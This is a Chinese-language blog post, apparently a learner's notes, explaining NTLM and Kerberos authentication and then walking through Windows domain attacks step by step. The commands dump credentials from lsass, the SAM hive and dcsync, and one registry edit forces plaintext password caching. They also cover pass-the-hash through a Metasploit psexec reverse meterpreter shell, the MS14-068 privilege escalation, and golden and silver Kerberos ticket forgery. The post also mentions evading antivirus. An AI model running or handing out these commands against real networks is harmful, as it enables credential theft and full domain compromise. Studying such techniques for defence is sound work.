前几天自己在学习域渗透时突然对Windows的身份认证机制产生了兴趣,但看了好几天自己还是懵懵懂懂,期间自己看了许多师傅的优质文章,也做了一些例子的复现,于是有了这篇文章,可以说是自己的笔记或总结吧。
由于自己了解的也不是很深入,这篇文章写的技术可能比较浅,像NTLM和Kerberos的中间过程并没有写的很详细。自己还画了简单的过程图来加深理解和记忆,图画的不好,这些还请各位师傅见谅。
如果本文的内容有错误,还请各位师傅指正。
Windows身份认证机制主要有NTLM和Kerberos两种,其中NTLM主要被用在本地以及工作组环境,而在域环境中优先使用的是Kerberos。
在早期的windows系统(win2000以前)还有一种认证方式叫LM,但该方式的加密算法较脆弱,基本已经被淘汰掉了。
NTLM(NT LAN Manager)是Windows中最常见的身份认证方式,主要有本地认证和网络认证两种情况。
在介绍NTLM之前,需要介绍NTLM中最关键的凭证:NTLM Hash。正常的明文密码加密为NTLM Hash的方法如下:
password ----> 十六进制编码 ----> Unicode转换 ----> MD4加密 ----> 得到NTLM Hash
例如:
admin -> hex(16进制编码) = 61646d696e
61646d696e -> Unicode = 610064006d0069006e00
610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634
在本地认证过程中,当用户进行注销、重启、开机等需要认证的操作时,首先Windows会调用winlogon.exe
进程(也就是我们平常见到的登录框)接收用户的密码。
之后密码会被传送给进程lsass.exe
,该进程会先在内存中存储一份明文密码,然后将明文密码加密为NTLM Hash后,与Windows本地的SAM数据库(%SystemRoot%\system32\config\SAM)中该用户的NTLM Hash对比,如果一致则通过认证
网络认证需要使用NTLM协议,该协议基于挑战(Challenge)/响应(Response)机制。
域环境中虽然默认首选是kerberos认证,但是也可以使用NTLM来进行认证。其实NTLM在域环境与工作组环境中的差异不大,区别主要是最终在域控(DC)中完成验证。直接看图比较清晰一点:
了解整个过程之后我们可以发现,在整个过程中用户的明文密码并没有在客户端和服务端之间传输,取而代之的是NTLM Hash。因此如果攻击者得到了用户的NTLM Hash,那么便可以冒充该用户通过身份验证(也就是说不需要破解出明文密码就可以通过验证),这就是hash传递攻击(Pass The Hash)。
Kerberos实际上是一种基于票据(Ticket)的认证方式。客户端要访问服务器的资源,需要首先购买服务端认可的票据。也就是说,客户端在访问服务器之前需要预先买好票,等待服务验票之后才能入场。在这之前,客户端需要先买票,但是这张票不能直接购买,需要一张认购权证。客户端在买票之前需要预先获得一张认购权证。这张认购权证和进入服务器的入场券均有KDC发售。
过程中涉及到的专有名词有:
KDC(Key Distribution Center) : 密钥分发中心
KAS(Kerberos Authentication Service) : kerberos认证服务
TGT(Ticket Granting Ticket) : 认购权证
TGS(Ticket Granting Service) : 票据授予服务
ST(Service Ticket) : 服务票据
客户端要先拿到TGT,然后才能购买ST进行对应服务的访问
当用户想要访问某个服务时,会经过以下过程:
之后的过程就是用户用ST和去访问服务了,个人认为理解到这里就ok了,后面的过程不再过多赘述
从以上认证过程我们可以发现,Kerberos认证完全依赖于KDC的密钥(即krbtgt用户的密钥)。因此,如果攻击者拿到了krbtgt账号的hash的话,那么他就可以访问域中任何以kerberos协议做身份认证的服务。这就产生了票据传递攻击(Pass The Ticket)。
该工具可以抓取用户的LM Hash和NTML Hash,需要administrator权限。测试绝大数杀软都会报毒,需要免杀。
wce.exe -lv
工具地址:https://github.com/xfmn/wce
也是导出用户LM Hash和NTLM Hash的,测试发现只有360和nod32等少数杀软报了毒,是否需要免杀视具体情况而定。
QuarkPwDump.exe -dhl
工具地址:https://github.com/quarkslab/quarkspwdump
这个需要system权限(在我的xp上测试竟然无限蓝屏重启,懵逼了。。),在win2003上可以测试成功:
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
然后导入到本地的mimikatz中:
lsadump::sam /system:system.hive /sam:sam.hive
神器不必多说,mimikatz可以抓取上面提到的lsass.exe
进程存储在内存中的明文密码,前提是该用户在该服务器上登录过
需要administrator及以上权限,需要免杀
privilege::debug
sekurlsa::logonpasswords
可以看到不仅抓取到了本机的administrator的密码,还抓取到了域管理员的密码,在域渗透的过程中会用到
工具地址:https://github.com/gentilkiwi/mimikatz/releases
这种方式最大的优势就是免杀,因为ProcDump是微软官方提供的。但缺点也很明显,导出的数据文件可能会很大(但我本地测试的时候速度还是很快的)。需要administrator及以上权限。
procdump.exe -accepteula -ma lsass.exe lsass.dmp
之后可以下载到本地导入到mimikatz中进行读取
我在xp上导出,在win10上导入会报错
查了一下发现需要注意的一点是导出的平台和导入的平台不同时会报错,可以看一下mimikatz官方的解释:
在另一台xp中就可以成功导出和读取:
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
工具地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
一款C#的工具,GitHub上提供了project源码,在VS中以release编译完成即可使用。
测试只有极少的杀软会报毒,但本地测试时win10的defender会报毒,是否免杀视情况而定吧。需要administrator及以上的权限。
然后将打包的debug824.bin
下载到本地,修改扩展名为gz
,将解压后得到的文件导入mimikatz
(注意:我第一次测试时导入失败了,之后换了最新版本的mimikatz后成功导入)
sekurlsa::minidump <要导入的文件名>
sekurlsa::logonPasswords full
但是用户明文密码处是(null)
,查了一下发现原来Windows Server 2012 R2以上的系统默认不向内存中保存明文密码了。这个我们可以通过修改注册表来解决(需要权限):
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
然后重启win10,用户重新登录再导出一次,然后在mimikatz中导入就可以看到明文的密码:
工具地址:https://github.com/GhostPack/SharpDump
在渗透过程中,如果从lsass.exe进程得不到明文密码,并且拿到的用户hash也破解不出结果,我们就可以使用hash传递攻击
从上面写的NTLM认证方式中我们可以了解到在NTLM认证过程中用户的明文密码是不在客户端和服务端之间传输的,认证最主要的凭据就是用户的NTLM Hash。
那么当攻击者拿到用户的NTLM Hash时,攻击者完全可以只利用NTLM Hash与服务端完成身份认证的流程,达到冒充该用户的目的。
使用msf的exploit/windows/smb/psexec
模块可以进行hash传递攻击,条件是目标开启445端口,而且没有打KB2871997和KB2928120这两个补丁
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.206.128
set RHOST 192.168.206.101
set SMBUser administrator
set SMBPass AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0
exploit
注意SMBPass
参数要写成<LM Hash>:<NTLM Hash>
的形式,exploit后可以成功拿到目标计算机的meterpreter会话
其实这个是在微软发布了KB2871997补丁之后mimikatz提供的解决办法,也被称为Over Pass-the-hash
首先我们假设在WIN2003上我们使用wce抓取到了administrator的NTLM Hash
然后我们到WINXP中使用mimikatz进行hash传递攻击:
privilege::debug
sekurlsa::pth /user:<用户名> /domain:<远程服务器地址> /ntlm:<用户的NTLM Hash>
之后会弹出一个cmd的窗口,我们在这个cmd中可以进行对目标计算机的一些操作,如列出WIN2003的c盘文件:
dir \\192.168.206.101\c$
如果我们拿到了域内一台服务器的域用户账号,那么我们可能想域管或者其他域用户会不会使用的是同样的密码呢?
假设我们此时拿到了一个普通域用户的NTLM Hash,而域管理员使用的是同样的密码(测试时我是直接在域控WIN08上抓下来的2333),然后便可以尝试利用改NTLM Hash去访问域控
privilege::debug
sekurlsa::pth /user:<域管理员名> /domain:<所属域名称> /ntlm:<域管的NTLM Hash>
在弹出的cmd中成功访问到域控的c盘
dir \\WIN08\$c
票据传递攻击(Pass-The-Ticket)就是利用伪造的kerberos票据进行身份认证,该过程不需要密码。
域中的票据又分为黄金票据(Golden Ticket)和白银票据(Silver Ticket),其中黄金票据可以使攻击者直接提升为域管理权限,而白银票据则可以使攻击者访问特定的服务。
黄金票据的本质就是一张TGT(Ticket Granting Ticket),攻击者使用krbtgt账户的hash伪造黄金票据,进而访问域中包括域控的所有服务器。该攻击过程发生在前面所说的获取ST的第1步
利用该漏洞可以将域内任何普通用户提升为域管权限,微软发布的补丁为:kb3011780
。如果域控没有打上该补丁的话,攻击者就有可能利用该漏洞提升自己的权限
首先我们使用一个普通域用户test登录到WIN7上,并记录该用户的sid:
此时访问域控的C盘根目录是没有权限的:
我们使用MS-14068.exe,生成票据:
MS14-068.exe -u <用户名>@<所属域名称> -s <此用户的sid> -d <域控地址> -p <此用户的密码>
然后再使用mimikatz将票据导入:
kerberos::ptc [email protected]
导入之后便可以成功访问域控WIN08的C盘根目录(还可以访问该域中的其他服务器):
dir \\WIN08\c$
还可以使用微软的SysinternalsSuite工具包中的psexec.exe来获取WIN08的shell:
Psexec64.exe \\WIN08 cmd.exe
PS:WINXP与WIN2003均测试失败,mimikatz无法导入生成的TGT
使用mimikatz生成黄金票据需要以下几点条件:
该方法经常会用来做拿下域控后的权限维持,因为krbtgt账户的密码基本不会更改,即使域管的密码被修改krbtgt的密码也不会改变
首先假设我们此时已拿到域控权限,使用mimikatz查看krbtgt用户的信息:
privilege::debug
lsadump::dcsync /domain:centoso.com /user:krbtgt
拿到krbtgt的NTLM Hash和sid后,我们就可以在一台普通域服务器上生成黄金票据并导入:
kerberos::golden /user:<域管> /domain:<所属域名称> /sid:<krbtgt的sid> /krbtgt:<krbtgt的NTLM Hash> /ptt
也可以先将黄金票据生成为ticket.kirbi文件后再导入:
kerberos::golden /user:<域管> /domain:<所属域名称> /sid:<krbtgt的sid> /krbtgt:<krbtgt的NTLM Hash>
kerberos:ptt ticket.kirbi
查看本机已有的票据:
kerberos::list
尝试将域控的C盘映射到本地的K盘:
net use K: \\WIN08\c$
白银票据的本质是一张ST(Service Ticket),也就是使用要访问的服务器的hash来伪造白银票据。区别于黄金票据的是白银票据只能访问指定的服务,但白银票据的优点是于目标服务器不经过DC直接交互。
对于白银票据的生成也有以下几点要求:
假设我们拿到目标服务账户的NTLM Hash和sid
然后使用mimikatz生成一张可以访问WIN2003的白银票据:
kerberos::golden /domain:<所属域名称> /sid:<服务账户sid> /target:<目标服务器的FQDN> /service:<要访问的服务> /rc4:<服务账户NTLM Hash> /user:<要伪造的用户> /ptt
之后就可以访问目标服务器上对应的服务